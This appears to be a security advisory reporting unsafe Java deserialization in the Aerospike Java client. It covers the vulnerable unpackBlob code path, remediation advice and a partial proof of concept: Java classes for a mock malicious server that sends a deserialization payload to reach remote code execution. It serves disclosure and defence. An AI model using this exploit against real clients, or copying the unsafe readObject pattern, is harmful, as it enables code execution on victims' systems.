The vulnerability stems from unsafe deserialization of JBLOB-type particles in two locations: 1) Buffer.bytesToParticle() calls bytesToObject() for JBLOB type, which uses ObjectInputStream to deserialize untrusted data. 2) Unpacker.unpackBlob() similarly deserializes JBLOB data through ObjectInputStream. Both locations directly use readObject() on server-provided data without validation, enabling RCE via malicious serialized objects. The commit diff confirms removal of JBLOB handling and associated deserialization code as the fix.
@Override
public void channelRead(ChannelHandlerContext ctx, Object msg) {
command.read((ByteBuf)msg);
}
The incoming msg object is handled by the NettyCommand.read method, which behaves differently depending on the state variable. Several states produce paths to the vulnerable code — for instance, we will follow the path through AsyncCommand.COMMAND_READ_HEADER:
parseSingleBody simply delegates on AsyncCommand.parseCommandResult, which unless the message is compressed, directly calls AsyncCommand.parseResult. The implementation of this method depends on the command type. For an AsyncRead command, we have the following:
private T unpackBlob(int count) throws IOException, ClassNotFoundException {
// --snip--
case ParticleType.JBLOB:
// --snip--
try (ByteArrayInputStream bastream = new ByteArrayInputStream(buffer, offset, count)) {
try (ObjectInputStream oistream = new ObjectInputStream(bastream)) {
val = getJavaBlob(oistream.readObject());
}
}
This vulnerability was discovered with the help of CodeQL.
Impact
This issue may lead to Remote Code Execution (RCE) in the Java client.
Remediation
Avoid deserialization of untrusted data if at all possible. If the architecture permits it then use other formats instead of serialized objects, for example JSON or XML. However, these formats should not be deserialized into complex objects because this provides further opportunities for attack. For example, XML-based deserialization attacks are possible through libraries such as XStream and XmlDecoder.
Alternatively, a tightly controlled whitelist can limit the vulnerability of code but be aware of the existence of so-called Bypass Gadgets, which can circumvent such protection measures.
Resources
To exploit this vulnerability, a malicious Aerospike server is needed. For the sake of simplicity, we implemented a mock server with hardcoded responses, with the only goal of reaching the vulnerable code of the client. To be able to easily reproduce this, we used the client's examples with the -netty flag, specifically the AsyncPutGet, which uses an AsyncRead. The examples point to localhost:3000 by default, so we set up a simple Netty TCP server listening on that port, which replicates responses previously intercepted from a real Aerospike server and returns them to the client, until the AsyncRead command happens. Then, our server injects the malicious response:
public class AttackChannelHandler extends SimpleChannelInboundHandler<String> {
@Override
protected void channelRead0(ChannelHandlerContext ctx, String s) throws Exception {
// --snip--
if (s.getBytes()[7] == 0x44) {
AttackMessage m = new AttackMessage(
Files.readAllBytes(Paths.get("location/of/deserialization/payload.bin")));
ctx.channel().writeAndFlush(m);
return;
}
// --snip--
}
}
AttackMessage is a class that hardcodes the necessary data to deliver the payload:
public class AttackMessage {
private byte resultCode = 0;
private int generation = 2;
private int expiration = 417523457;
private short fieldCount = 0;
private short opCount = 1;
private byte particleType = 7;
private String name = "putgetbin";
private byte[] payload;
public AttackMessage(byte[] payload) {
this.payload = payload;
}
// --snip-- (getters)
public int[] getSize() {
int size = 30 + name.length() + payload.length;
int low = (byte) (size & 0xFF);
int high = (byte) (size >> 8) & 0xFF;
return new int[] {high, low};
}
public int getOpSize() {
return payload.length + 4 + name.length();
}
public byte[] getPayload() {
return payload;
}
}
And it's finally encoded and delivered to the client through the network using a MessageToByteEncoder from Netty:
The specific deserialization payload that needs to be used depends on the deserialization gadgets available in the classpath of the application using the Aerospike client. Again, for simplicity, we assumed the victim application uses Apache Commons Collections 4.0, which contains a well-known deserialization gadget:
We recommend you create a private GitHub Security Advisory for this finding. This also allows you to invite the GHSL team to collaborate and further discuss this finding in private before it is published.